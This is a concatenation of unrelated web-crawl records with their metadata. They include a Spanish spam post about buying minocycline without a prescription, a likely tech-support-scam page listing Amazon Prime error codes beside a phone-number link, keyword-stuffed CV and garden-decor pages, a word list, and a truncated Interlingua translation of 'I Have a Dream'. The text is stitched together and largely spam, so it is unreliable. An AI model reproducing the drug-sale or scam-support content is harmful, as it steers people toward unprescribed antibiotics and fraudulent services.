precio de venta\ncomo comprar minocycline hydrochloride en farmacia chile\nhttp:\/\/digitalguerillas.ning.com\/profil ... os-comprar\nminocycline hydrochloride precio mexico farmacias guadalajara\ncomprar minocycline hydrochloride barato online\nminocycline hydrochloride 100 mg donde comprar\nminocycline hydrochloride cali ventas\ncomprar minocin directorio Estados Unidos\ncomprar minocin envio 24 horas\ncomprar minocycline hydrochloride contrareembolso en valencia. minocycline hydrochloride 50mg generico mas barato. comprar minocycline hydrochloride en farmacias de madrid sin receta. comprar minocycline hydrochloride sin receta barcelona, donde se puede comprar minocycline hydrochloride en chile.\nhttp:\/\/staind-italy.ning.com\/profiles\/b ... rate-cheap\ncomprar minocycline hydrochloride 50mg rapido\ndonde comprar minocycline hydrochloride para hombres\ncomprar minocycline hydrochloride en zaragoza en mano; comprar minocycline hydrochloride tabletas.\ncomprar minocycline hydrochloride 100mg barato\nquiero comprar minocycline hydrochloride sin receta chile\ndonde puedo comprar minocin original\ncomprar loperamida ahora\ncomprar minocycline hydrochloride online envio urgente\nhttp:\/\/dmoney.ru\/37693\/oragawell-silden ... -allemagne\npuedo comprar minocycline hydrochloride sin receta en argentina\nminocycline hydrochloride precio argentina\nminocycline hydrochloride 100mg precio barato. comprar minocycline hydrochloride venezuela. donde puedo comprar minocycline hydrochloride sin receta en estados unidos.\nminocin 50mg sin receta 2018\nminocycline hydrochloride precio medicamento: comprar minocycline hydrochloride tampico. comprar minocycline hydrochloride bolivia.\ndonde comprar minocycline hydrochloride generico contrareembolso: comprar minocycline hydrochloride por contrareembolso\nminocycline hydrochloride 100 mg venta df, donde comprar minocycline hydrochloride sin receta medica, comprar minocycline hydrochloride 100 mg visa. donde comprar minocycline hydrochloride sin receta en zona norte. minocycline hydrochloride precio chile. minocycline hydrochloride gotas precio mexico. comprar minocycline hydrochloride 50mg sin receta medica farmacia. minocycline hydrochloride barata.\nminocin comprar en línea\ncomprar minocycline hydrochloride 50mg mujer: minocycline hydrochloride semanal 100mg precio. precio en argentina de minocycline hydrochloride, comprar minocycline hydrochloride mx, donde comprar minocycline hydrochloride en jerez. comprar minocycline hydrochloride 50mg necesito receta\nse puede comprar minocycline hydrochloride sin receta en andorra\ncomprar minocycline hydrochloride 50mg online argentina\nhttp:\/\/neikasworld.ning.com\/profiles\/bl ... il-citrate\nminocycline hydrochloride se compra con o sin receta\ncomprar minocycline hydrochloride normon\nhttp:\/\/zlatniky.com\/__media__\/js\/netsol ... aircus.com\ndonde comprar minocycline hydrochloride de 100mg en mexico\ncomprar minocycline hydrochloride 50 mg chiapas\ncomprar minocycline hydrochloride en argentina\ncomprar minocycline hydrochloride farmacias guadalajara\ncomprar minocycline hydrochloride en farmacia mexico: minocycline hydrochloride 50 mg comprar en colombia bogota. puedo comprar minocycline hydrochloride en andorra; comprar minocycline hydrochloride chiapas.\nminocin gotas precio Chile\nPost Reply\n1 post • Page 1 of 1","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/forum.rethia.net\/viewtopic.php?f=10&t=511267&","date":"2019-07-19T00:03:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525863.49\/warc\/CC-MAIN-20190718231656-20190719013656-00135.warc.gz","language":"ina","language_score":0.6762534976,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.6762534976005554, \"nld_Latn_score\": 0.08333279192447662, \"spa_Latn_score\": 0.04648454114794731, \"mlt_Latn_score\": 0.024931784719228745, \"eng_Latn_score\": 0.023740487173199654, \"ile_Latn_score\": 0.02042665332555771, \"lvs_Latn_score\": 0.012944934889674187, \"por_Latn_score\": 0.012327171862125397}","num_words":2048,"character_repetition_ratio":0.443,"word_repetition_ratio":0.206,"special_characters_ratio":0.155,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.691,"perplexity_score":10747.2,"cluster_detection":-1} +{"text":"Catalog\nLoading...\nWood Fellas Bob Rasta Necklace\nWood Fellas Bob Necklace\nWood Fellas Boombox Necklace\nWood Fellas Samurai Necklace\nWood Fellas Maria Necklace\nWood Fellas Hemp Purple Necklace\nWood Fellas African Mask Necklace\nWood Fellas Africa Unity necklace\nWood Fellas Africa Lion necklace\nWood Fellas Tape necklace\nWood Fellas Star Skull necklace\nWood Fellas Redeemer Necklace - Collana in legno\nWood Fellas Razor Blade necklace - Collana in legno\nWood Fellas One Love Necklace - Collana in legno\nWood Fellas Skull Necklace - Collana in legno","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.baddaclothes.com\/en\/66-necklaces","date":"2019-07-22T19:13:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195528208.76\/warc\/CC-MAIN-20190722180254-20190722202254-00279.warc.gz","language":"ina","language_score":0.5450112224,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.5450112223625183, \"eng_Latn_score\": 0.21514186263084412, \"ita_Latn_score\": 0.10501780360937119, \"swe_Latn_score\": 0.017745397984981537, \"spa_Latn_score\": 0.011697289533913136}","num_words":164,"character_repetition_ratio":0.31,"word_repetition_ratio":0.058,"special_characters_ratio":0.168,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.853,"perplexity_score":22558.2,"cluster_detection":-1} +{"text":"For More Visit: https:\/\/www.apextm.com\/amazon-prime-phone-number\/\nWe Fix all type of amazon prime error codes given Below:\namazon prime error\namazon prime error code 1060\namazon prime error code 9354\namazon prime error code 5266\namazon prime error validating payment method\namazon prime error code 5505\namazon prime error 1042\namazon prime error code 9068\namazon prime error code 9353\namazon prime error code 2063\namazon prime error 7279\namazon prime error codes\namazon prime error amzp 10\namazon prime an error has occurred\namazon prime airplay error\namazon prime app error\namazon prime an error occurred loading this content\namazon prime error code amzp-9\namazon prime error code amzp-4\namazon prime playback error amzp-9\namazon prime video app error 1055\namazon prime video license error android\namazon prime bandwidth error\namazon prime billing error\namazon prime content error sony bravia\namazon prime network error sony bravia\nsony bravia amazon prime error\namazon prime error code\namazon prime error code 7065\namazon prime error code 99\namazon prime download error\namazon prime download error ipad\namazon prime day error\namazon prime dns error\namazon prime delivery error\namazon prime drm error\namazon prime decryption error\namazon prime download error iphone\namazon prime download error 4602\namazon prime unexpected error during sign in\namazon prime error code network_error\namazon prime error code license_error\namazon prime forbidden error\namazon prime network error firestick\namazon prime free trial error\namazon prime fire stick error\namazon prime license error fire tv\namazon prime network error fire tv\namazon prime license error kindle fire\namazon prime error vending init file\namazon prime fehlercode license error\namazon prime fehlercode network error\namazon prime geo error\namazon prime hdcp error\namazon prime hdcp error roku\namazon prime network error has occurred\namazon prime video hdcp error\namazon prime hdcp error apple tv\namazon prime video a network error has occurred\namazon prime hdcp compliant error\nhdcp error amazon prime airplay\namazon prime in error\namazon prime internet error\namazon prime playback error ipad\namazon prime playback error iphone\namazon prime playback error ipad license\namazon prime network error ipad\namazon prime disk io error\namazon prime video playback error ipad\namazon prime license error kindle\namazon prime license error\namazon prime location error\namazon prime login error\namazon prime video login error\namazon prime video location error\namazon prime acquiring license error\namazon prime error message\namazon prime music error 180\namazon prime music error\namazon prime membership error\namazon prime music error 206\namazon prime movies error\namazon prime music error 214\namazon.com error message\namazon prime music error 181\namazon prime music error 119\namazon prime network error\namazon prime network error message\namazon prime network error sony\namazon prime network error unable to load categories\namazon prime netflix error\namazon prime network error code\namazon prime network error 2123\namazon prime playback error on ipad\namazon prime unexpected error occurred\namazon prime unexpected error occurred during sign in\namazon prime playback error on iphone\namazon prime network error on firestick\namazon prime xbox one error\namazon prime video unexpected error occurred during sign-in\namazon prime video an error occurred\namazon prime playback error\namazon prime payment error\namazon prime proxy error\namazon prime ps4 error\namazon prime playback error wii\namazon.com privacy error\namazon prime airplay playback error\namazon prime restriction error\namazon prime roku error\namazon prime digital rights error\namazon prime video restriction error\namazon prime internet connection error roku\namazon prime digital rights error chrome\namazon prime app restriction error\namazon prime video digital rights error\namazon prime service error 1002\namazon prime service error 3222\namazon prime shipping error\namazon prime subscription error\namazon prime content error sony\namazon.com ssl error\namazon prime video service error 1002\namazon prime tv error\namazon prime tv error code 9068\namazon prime tv error code 1060\namazon twitch prime error\namazon prime tv error code 5505\namazon prime tv network error\namazon prime apple tv error\namazon prime trial and error\namazon prime unknown error\namazon prime uk error 4601\namazon prime video unavailable error\namazon prime sign up error\namazon prime samsung tv unexpected error\namazon prime sign in unexpected error\namazon prime video error\namazon prime video error 4601\namazon prime video error 5505\namazon prime video error 5000\namazon prime video error 9068\namazon prime video error 7031\namazon prime video error 7188\namazon prime video error 1002\namazon prime video error code 9074\namazon prime wii error code 99\namazon prime widevine error\namazon prime widevinecdm error\nwii amazon prime error code 24100\nwii amazon prime error\namazon prime there was an error validating your payment method\nxbox amazon prime error code 5229\namazon prime xbox app error\namazon prime error 1060\namazon prime error 1106\namazon prime error 1066\namazon prime error 1004\namazon prime error 1004-ai\namazon prime error 1002\namazon prime error 1055\namazon prime error 1002 mac\namazon prime error 1073\namazon prime error 2063\namazon prime error 2575\namazon prime error 2504\namazon prime error 2020\namazon prime error 206\namazon prime error code 24100\namazon prime error code 2020\namazon prime error code 2575\namazon prime error 3222\namazon prime video error 3222\namazon prime error 3505\namazon prime error code 3505\namazon prime error 4602\namazon prime error 4601\namazon prime error 4527\namazon prime error 4509\namazon prime error 4651\namazon prime video error code 4601\namazon prime video error code 4651\namazon prime error 5266\namazon prime error 5505\namazon prime error 5503\namazon prime error 505\namazon prime error 5510\namazon prime error 5000\namazon prime error 5229\namazon prime error 5701\namazon prime error 5403\namazon prime error 6023\namazon prime error 6070\namazon prime error 7031\namazon prime error 7135\namazon prime error 7235\namazon prime error 7304\namazon prime error 7303\namazon prime error 7065\namazon prime error 7021\namazon prime error 7313\namazon prime error 7423\namazon prime error code 814\namazon prime error 9068\namazon prime error 9356\namazon prime error 9354\namazon prime error 9353\namazon prime error 9074\namazon prime error 99\namazon prime error 900\namazon prime error 9355\namazon prime 9068 error code\namazon prime error amzp-9","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/apextmnet.wordpress.com\/amazon-prime-phone-number\/","date":"2019-08-25T23:32:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330907.46\/warc\/CC-MAIN-20190825215958-20190826001958-00223.warc.gz","language":"ina","language_score":0.3508235514,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3508235514163971, \"eng_Latn_score\": 0.21212100982666016, \"eus_Latn_score\": 0.08358438313007355, \"ast_Latn_score\": 0.04956204444169998, \"bew_Latn_score\": 0.042368482798337936, \"ile_Latn_score\": 0.022293027490377426, \"lad_Latn_score\": 0.022036278620362282, \"uzn_Latn_score\": 0.020642228424549103, \"cbk_Latn_score\": 0.013627431355416775, \"hun_Latn_score\": 0.010340286418795586}","num_words":1753,"character_repetition_ratio":0.384,"word_repetition_ratio":0.294,"special_characters_ratio":0.219,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.349,"perplexity_score":12827.6,"cluster_detection":-1} +{"text":"O redactar un curriculum vitae sin experiencia laboral como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia plantilla curriculum vitae sin experiencia laboral resultados. Como mejorar un curriculum vitae sin experiencia pdf labo popoola curriculum vitae 2015. Como mejorar un curriculum vitae sin experiencia c³mo agregar un ttulo a tu currculum 11 pasos. Willamalane winter spring 2019 como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia bolsadetrabajocdmx hashtag on twitter.\nO Redactar Un Curriculum Vitae Sin Experiencia Laboral Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: curriculumvt.me\nComo Mejorar Un Curriculum Vitae Sin Experiencia Plantilla Curriculum Vitae Sin Experiencia Laboral Resultados fuente: curriculumdoc.website\nComo Mejorar Un Curriculum Vitae Sin Experiencia Pdf Labo Popoola Curriculum Vitae 2015 fuente: researchgate.net\nComo Mejorar Un Curriculum Vitae Sin Experiencia C³mo Agregar Un Ttulo A Tu Currculum 11 Pasos fuente: es.wikihow.com\nWillamalane Winter Spring 2019 Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: issuu.com\nComo Mejorar Un Curriculum Vitae Sin Experiencia Bolsadetrabajocdmx Hashtag On Twitter fuente: twitter.com\n17 Bewerbung Jobwechsel Muster Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: waterburychildguidance.com\n17 bewerbung jobwechsel muster como mejorar un curriculum vitae sin experiencia. Curriculum vitae 2019 c³mo hacer un buen curriculum plantillas cv como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia plantilla curriculum vitae sin experiencia laboral resultados. Como mejorar un curriculum vitae sin experiencia pdf forest vocation lands and forest policy when simpler is better.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/curriculumdoc.website\/como-mejorar-un-curriculum-vitae-sin-experiencia\/","date":"2019-08-25T19:55:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027330800.17\/warc\/CC-MAIN-20190825194252-20190825220252-00487.warc.gz","language":"ina","language_score":0.39173159,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3917315900325775, \"spa_Latn_score\": 0.3215281665325165, \"sco_Latn_score\": 0.03300336003303528, \"cbk_Latn_score\": 0.02661990001797676, \"lat_Latn_score\": 0.02519276738166809, \"arg_Latn_score\": 0.01398120354861021, \"glg_Latn_score\": 0.013882233761250973, \"ayr_Latn_score\": 0.013642638921737671}","num_words":490,"character_repetition_ratio":0.231,"word_repetition_ratio":0.634,"special_characters_ratio":0.165,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":7049.9,"cluster_detection":-1} +{"text":"deco jardin terrasse idace amacnagement dacco jardin tout pour une belle terrasse catac idee deco pour terrasse jardin.\ndeco jardin terrasse deco jardin terrasse pas cher askelldrone deco jardin terrasse pas decoration terrasse jardin japonais.\ndeco jardin terrasse deco jardin design flowerto wordpress sitede la maison deco design jardin terrasse.\ndeco jardin terrasse idee deco jardin gravier incroyable decoration jardin terrasse deco jardin terrasse bois.\ndeco jardin terrasse deco terrasse jardin hotelauxsacresreims decoration jardin terrasse en bois.\ndeco jardin terrasse dacco terrasse bois et galets salon de jardin gris madrague deco terrasse jardin exterieur.\ndeco jardin terrasse decoration terrasse de jardin decoration mariage exterieur maison idee deco jardin avec terrasse.\ndeco jardin terrasse idee deco jardin terrasse spa amiens sonails decoration terrasse jardin japonais.\ndeco jardin terrasse dacco du jardin a noal nos idaces pour lextacrieur catac maison decoration jardin terrasse en bois.\ndeco jardin terrasse deco jardin bassin terrasse paysagiste jardin orphis decoration jardin terrasse pas cher.\ndeco jardin terrasse merveilleux idee jardin terrasse idee deco jardin avec terrasse deco jardin terrasse bois.\ndeco jardin terrasse terrasse extacrieur amacnagements et dacco en 53 idaces deco terrasse jardin japonais.\ndeco jardin terrasse deco jardin terrasse pas cher fourlon deco terrasse jardin exterieur.\ndeco jardin terrasse amacnagement terrasse et jardin photo cool idee dacco jardin terrasse idee deco jardin terrasse.\ndeco jardin terrasse idace daccoration jardin terrasse deco petit jardin terrasse.\ndeco jardin terrasse 25 idaces pour amacnager et daccorer un petit jardin daccoration idee deco jardin et terrasse.\ndeco jardin terrasse amenagement salle a manger salon 13 sims 4 deco jardin ete salon deco design jardin terrasse.\ndeco jardin terrasse idace amacnagement dacco jardin tout pour une belle terrasse deco jardin terrasse exotique.\ndeco jardin terrasse dalles terrasse a joints plantacs idaces gacniales de dacco jardin deco terrasse jardin exterieur.\ndeco jardin terrasse superbe idee jardin terrasse concernant id e de terrasse pas cher idee deco jardin avec terrasse.\ndeco jardin terrasse statue deco jardin exterieur charmant 60 photos ment bien amacnager deco terrasse jardin japonais.\ndeco jardin terrasse idee amenagement terrasse jardin jarre deco jardin brasseriedb deco jardin terrasse exotique.\ndeco jardin terrasse daccoration jardin terrasse en 25 exemples modernes deco jardin terrasse pas cher.\ndeco jardin terrasse idee deco jardin terrasse fourlon decoration pas cher et deco jardin terrasse pas cher.\ndeco jardin terrasse daccoration jardin terrasse en 25 exemples modernes decoration jardin terrasse pas cher.\ndeco jardin terrasse decoration jardins et terrasses objet deco jardin fer forge idee deco jardin et terrasse.\ndeco jardin terrasse joli idace jardin zen liace a deco jardin terrasse avec idee decoration terrasse jardin japonais.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/isert.info\/deco-jardin-terrasse\/","date":"2020-01-26T23:32:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694071.63\/warc\/CC-MAIN-20200126230255-20200127020255-00140.warc.gz","language":"ina","language_score":0.369011879,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36901187896728516, \"fra_Latn_score\": 0.34338271617889404, \"dag_Latn_score\": 0.07401138544082642, \"mfe_Latn_score\": 0.04163530468940735, \"bew_Latn_score\": 0.02133839763700962, \"wol_Latn_score\": 0.01582213118672371, \"eus_Latn_score\": 0.01489882543683052, \"frp_Latn_score\": 0.014107169583439827, \"mad_Latn_score\": 0.012137144804000854}","num_words":773,"character_repetition_ratio":0.326,"word_repetition_ratio":0.199,"special_characters_ratio":0.157,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":0.369,"perplexity_score":10896.9,"cluster_detection":-1} +{"text":"Words Extracted From The\nMammoth Censored Word List (343,463 Words)\nMammoth Censored Word List (343,463 Words)\n11 letter words ending with te in the mammoth censored word list.\nThis is a list of all words that end with the letters te\nand are 11 letters long contained within the censored mammoth word list.\nNeed more resolution? Try our live dictionary\nwords ending with search tool\n697 Words\n(0.202933 % of all words in this word list.)\nabranchiate absinthiate acanthocyte acceptilate accommodate accreditate acculturate achromacyte achromocyte acolouthite acuminulate adipocerite admarginate agglomerate agglutinate aguardiente aiguillette alexandrite alginophyte allophanate ambidentate amblygonite amphibolite anaerophyte analphabete anisogamete annabergite anorthosite antimoniate apophyllite appropriate approximate archaeocyte armourplate arthrophyte assassinate assubjugate averruncate baddeleyite baffleplate bandeirante barbiturate bastnaesite beneficiate benthophyte bicarbonate bicorporate bicuspidate bifoliolate bilamellate biocatalyte bioindicate bleacherite boilerplate bouazzerite bracteolate breastplate breunnerite bromacetate bromoaurate bursiculate campanulate caravanette carbonatite carbonylate carboxylate carcinocyte cardinalate carunculate cassiterite catapleiite catholicate cauliculate centesimate cerargyrite ceratophyte certificate chamaephyte chansonette chasmophyte chassignite chelicerate chiastolite chionophyte chloanthite chlorophyte chondrocyte chondrodite chromeplate chromophyte chrysophyte claviculate cleftpalate clinohumite coaggregate coagulocyte cocirculate cocultivate coelomocyte cognominate cognoscente collaborate columellate commemorate commiserate communicate compaginate computerate concatenate concentrate concertante concolorate confabulate confarreate confederate configurate conflagrate connumerate considerate consolidate constellate consternate constuprate contaminate contemplate contorniate copperplate corbiculate corequisite corniculate corroborate cosmopolite cremnophyte crocidolite cryohydrate cryptophyte cryptozoite crystallite cyanformate cyanhydrate cyanoaurate cycadophyte deacetylate deattribute decapsulate decarbonate decemvirate decerebrate decoagulate decolourate decomposite deconvolute decorticate decrepitate decurionate deduplicate defibrinate deglutinate degranulate demethylate demonstrate demyelinate dendrachate denticulate deobfuscate deoxygenate depauperate dephlegmate desegregate destimulate desulfurate deteriorate determinate diffarreate dimethylate dinnerplate diphosphate directorate discalceate discolorate discomycete disestimate disordinate disseminate dissimilate dissimulate divellicate domesticate domiciliate electrocute electrocyte electrolyte embryophyte encapsidate encapsulate enculturate epididymite epiparasite epistilbite equilibrate erythorbate erythrocyte escaperoute evenpinnate evertebrate exauctorate exauthorate excorticate exoparasite expectorate expostulate expropriate exstipulate exterminate extrapolate extravagate extravasate fasciculate fimbrillate fingerplate flamboyante flannelette folliculate forficulate fractionate fragmentate franklinite funambulate functionate gametophyte gangliocyte gesticulate gigantocyte ginkgophyte glaucophyte glochidiate glomerulate glucosylate glycerinate glycocylate glycosylate gouvernante governorate granulocyte greenockite grossierete guesstimate haematocyte hallucinate haruspicate hatchettite haustellate hellgramite hematophyte hemihydrate heptathlete heteroclite heterophyte hexahydrate hexahydrite historiette horripilate hyalodacite hydrogenate hydrolysate hydrolyzate hydroxylate hyponitrite hyposecrete hypothecate ichthyolite immarginate immeasurate impenetrate imperforate impersonate impignorate importunate impostumate impropriate improvisate incapsulate incarcerate incardinate incomposite incorporate incriminate indeciduate indesignate individuate induplicate inelaborate ingurgitate inosilicate instantiate intemperate intercalate interlocate interpolate interrelate interrogate intervolute intravasate intriguante inturbidate investigate involucrate iodobromite isobutyrate itacolumite josephinite kalymmocyte karyomerite keratophyte kitchenette labradorite laevogyrate landaulette landgravate langbeinite lansfordite latiseptate launderette leatherette lenticulate lepidophyte lonsdaleite luxulianite luxulyanite machicolate macrogamete madreporite magazinette maisonnette mandarinate mandibulate margraviate marquessate marquisette matriculate melanterite meprobamate meteorolite microgamete midshipmate misallocate miscegenate misestimate misevaluate misnavigate misregulate molybdenite monchiquite monoacetate monohydrate monolaurate mononitrate monophysite monothelete monothelite monticulate multijugate multilobate nanopipette naphthalate napoleonite necessitate nephelinite nitrobarite nitrogenate nonaspirate noncomplete nondefinite nondelegate nongraduate noninitiate nonintimate nonliterate nonmoderate nonnucleate nonobligate nonobsolete nonocellate nonparasite nonradulate nonsilicate nonsimulate nonundulate notungulate nudicaudate numberplate objectivate obsagittate obtemperate oceanophyte octahedrite octuplicate oligochaete ophicalcite oppignerate oppignorate orchestrate orecchiette orthoborate outpopulate overagitate overdeviate overeducate overelevate overemulate overhydrate overimitate overinflate overlactate overoperate overpromote oversecrete oxalacetate oxygenerate oxysulphate palaeophyte papilionate papillulate paraphysate paripinnate participate particulate paucijugate pearlywhite pedicellate pedunculate penicillate peninsulate pentacetate pentathlete pentlandite penultimate perambulate perchlorate peregrinate periclitate peristerite peristriate perlustrate perseverate persulphate perthophyte pervaporate phillipsite phosphonate phosphorate phosphorite phycomycete phyllophyte piedmontite pinakiolite pinealocyte planogamete pococurante poikilocyte polymignite polymignyte polysorbate pomegranate pomegranite pontificate porcelanite preactivate preallocate preambulate precipitate prededicate predelegate predominate preestimate prefigurate pregenerate preinsulate preirrigate prejudicate prelimitate preliterate premedicate premeditate prenominate preobligate preoccupate preseparate prevaricate progenerate proliferate promonocyte protuberate psammophyte pyrargyrite pyrochroite pyrogallate pyrolignite pyrosulfate pyrosulfite radiobarite radiolocate ratiocinate reacclimate reaffiliate reaggravate reaggregate rearbitrate reassociate reattribute recalculate recalibrate recaptivate recarbonate recelebrate reciprocate recirculate recoagulate recriminate recultivate redesignate reduplicate reenumerate reenunciate refabricate refocillate reformulate refrigerate refrustrate regerminate regurgitate rehumiliate reincarnate reinnervate reinoculate reinstitute reintegrate reirradiate reliquidate relubricate remethylate remonstrate remyelinate renegotiate reobfuscate reorientate reoxygenate repenetrate repercolate reperforate repostulate repropagate reprosecute repunctuate resegregate restimulate restipulate resublimate resuscitate resyndicate retranslate revaccinate revendicate reventilate reverberate revindicate rhinocerote rhyniophyte rollerskate sapropelite scammoniate schistocyte schizophyte schorlomite scintillate selectorate selfeducate selfinflate semipalmate semipennate semiprivate sequestrate serratulate shergottite significate sillimanite silverplate smithsonite somatophyte specificate spectrolite spermaphyte spermophyte spessartite sphaerulite sphenophyte spifflicate spinnerette spiraculate spirochaete spongiocyte steadystate stellionate stipendiate stockinette stomatocyte strangulate subcultrate subindicate subirrigate subliterate subordinate subsulphate subungulate suburbanite suffragette suffumigate sulfhydrate sulfoxylate sulphurette superfetate superpolite supervolute syllabicate syncraniate synurophyte telecommute telecompute tentaculate tentaculite testiculate testificate tetradymite tetrarchate tetratheite tetrathlete tetroxalate thallophyte thesmothete thioacetate thiocyanate thiosulfate thrombocyte thrombolite totipalmate toxophilite trabeculate transeptate transfinite translocate transmutate transpirate triangulate triannulate trichophyte trilaminate trisulphate trithionate triumvirate trophophyte trophozoite tuberculate tungstenite tungstibite turriculate umbellulate umbraculate uncaptivate unconvolute underaerate underdebate underdilate underdilute undersedate unelaborate unfortunate unguiculate unicolorate unicornuate uninucleate unoriginate unrequisite urochordate valleculate varicellate verbigerate vermiculate vermiculite vesuvianite vinaigrette vinegarette vulcanisate vulcanizate xalostocite xanthophyte zeophyllite zooparasite","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.litscape.com\/words_mammoth_censored\/ends_with\/e\/11_letter_words_ending_with_te.html","date":"2020-04-07T14:24:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371799447.70\/warc\/CC-MAIN-20200407121105-20200407151605-00513.warc.gz","language":"ina","language_score":0.37767151,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3776715099811554, \"eng_Latn_score\": 0.35826560854911804, \"lat_Latn_score\": 0.036451078951358795, \"mlt_Latn_score\": 0.02198469452559948, \"ita_Latn_score\": 0.017250755801796913, \"sid_Latn_score\": 0.014326154254376888, \"fin_Latn_score\": 0.013895923271775246}","num_words":2429,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.092,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.38,"perplexity_score":14388.3,"cluster_detection":-1} +{"text":"|sorti le 04\/06\/98||sorti le 02\/09\/98||sorti le 04\/11\/98||sorti le 04\/02\/99||sorti le 30\/04\/99||sorti le 04\/06\/99|\n|sorti le 22\/12\/99||sorti le 04\/04\/00||sorti le 04\/07\/00||sorti le 02\/11\/00||sorti le 02\/03\/01||sorti le 04\/07\/01|\n|sorti le 02\/11\/01||sorti le 04\/04\/02||sorti le 04\/10\/02||sorti le 04\/02\/03||sorti le 04\/06\/03||sorti le 03\/10\/03|\n|sorti le 04\/02\/04||sorti le 04\/06\/04||sorti le 04\/02\/05||sorti le 04\/07\/05||sorti le 03\/03\/06||sorti le 04\/10\/07|\n|sorti le 04\/03\/08||sorti le 03\/10\/08||sorti le 25\/12\/09||sorti le 04\/07\/11||sorti le 04\/08\/11||sorti le 04\/04\/12|\n|sorti le 04\/12\/12||sorti le 28\/12\/12|\n|Couvertures japonaises des 32 volumes parus chez Shueisha\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.mangaverse.net\/html\/hxhcouvjap.htm","date":"2020-08-03T09:48:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735792.85\/warc\/CC-MAIN-20200803083123-20200803113123-00412.warc.gz","language":"ina","language_score":0.351731658,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.35173165798187256, \"fra_Latn_score\": 0.3397879898548126, \"ron_Latn_score\": 0.1478184014558792, \"und_Grek_score\": 0.06608539074659348, \"crs_Latn_score\": 0.023442674428224564}","num_words":186,"character_repetition_ratio":0.299,"word_repetition_ratio":0.859,"special_characters_ratio":0.589,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.35,"perplexity_score":3061.3,"cluster_detection":-1} +{"text":"Published 19 agosto, 2016 at 1024 × 628 in Menorca Mao Ille del Rei VIII Foro Ille del Rei Diari Menorca sobre G Menorca Mao Ille del Rei VIII Foro Ille del Rei Diari Menorca sobre G ← Previous Next → Menorca Mao Ille del Rei VIII Foro Ille del Rei Diari Menorca sobre Gastronomia Relacionado","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.gastronomiamenorquina.com\/menorca-mao-ille-del-rei-viii-foro-ille-del-rei-diari-menorca-sobre-g\/","date":"2021-04-15T08:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038084601.32\/warc\/CC-MAIN-20210415065312-20210415095312-00288.warc.gz","language":"ina","language_score":0.516069591,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.5160695910453796, \"cat_Latn_score\": 0.2234933227300644, \"glg_Latn_score\": 0.04532778263092041, \"ita_Latn_score\": 0.03666765242815018, \"fin_Latn_score\": 0.01220182329416275, \"lat_Latn_score\": 0.011871352791786194}","num_words":90,"character_repetition_ratio":0.191,"word_repetition_ratio":0.469,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.597,"perplexity_score":4107.6,"cluster_detection":-1} +{"text":"Io Ha un Sonio\nI have a Dream\nMartin Luther King, Jr.\nPronunciate sur le grados al Monumento Commemorative a Lincoln in Washington D.C. le 28 augusto, 1963.\nDelivered on the steps at the Lincoln Memorial in Washington D.C. on August 28, 1963.\nIo es felice de reunir me con vos in iste die que passara al historia como le plus grande demonstration per le libertate in le historia de nostre nation.\nI am happy to join with you today in what will go down in history as the greatest demonstration for freedom in the history of our nation.\nCinque vintenas de annos retro, un grande Americano, in cuje umbra symbolic nos sta signava le Proclamation del Emancipation. Iste decreto momentose veniva como le luce de un grande fanal de sperantia a milliones de sclavos negre que le flammas de injustitia fulminante ha desiccate. Illo veniva como un alba joiose al fin del nocte longe de captivitate.\nFive score years ago, a great American, in whose symbolic shadow we stand today, signed the Emancipation Proclamation. This momentous decree came as a great beacon light of hope to millions of Negro slaves who had been seared in the flames of withering injustice. It came as a joyous daybreak to end the long night of their captivity.\nMa cento annos plus tarde, nos debe confrontar le facto tragic que le Negro ancora non es libere. Cento annos plus tarde, ancora le manillas de segregation e le catenas de discrimination tristemente stropia le vita del Negro. Cento annos plus tarde, le Negro vive sur un insula solitari de povressa in le medio de un oceano vaste de prosperitate 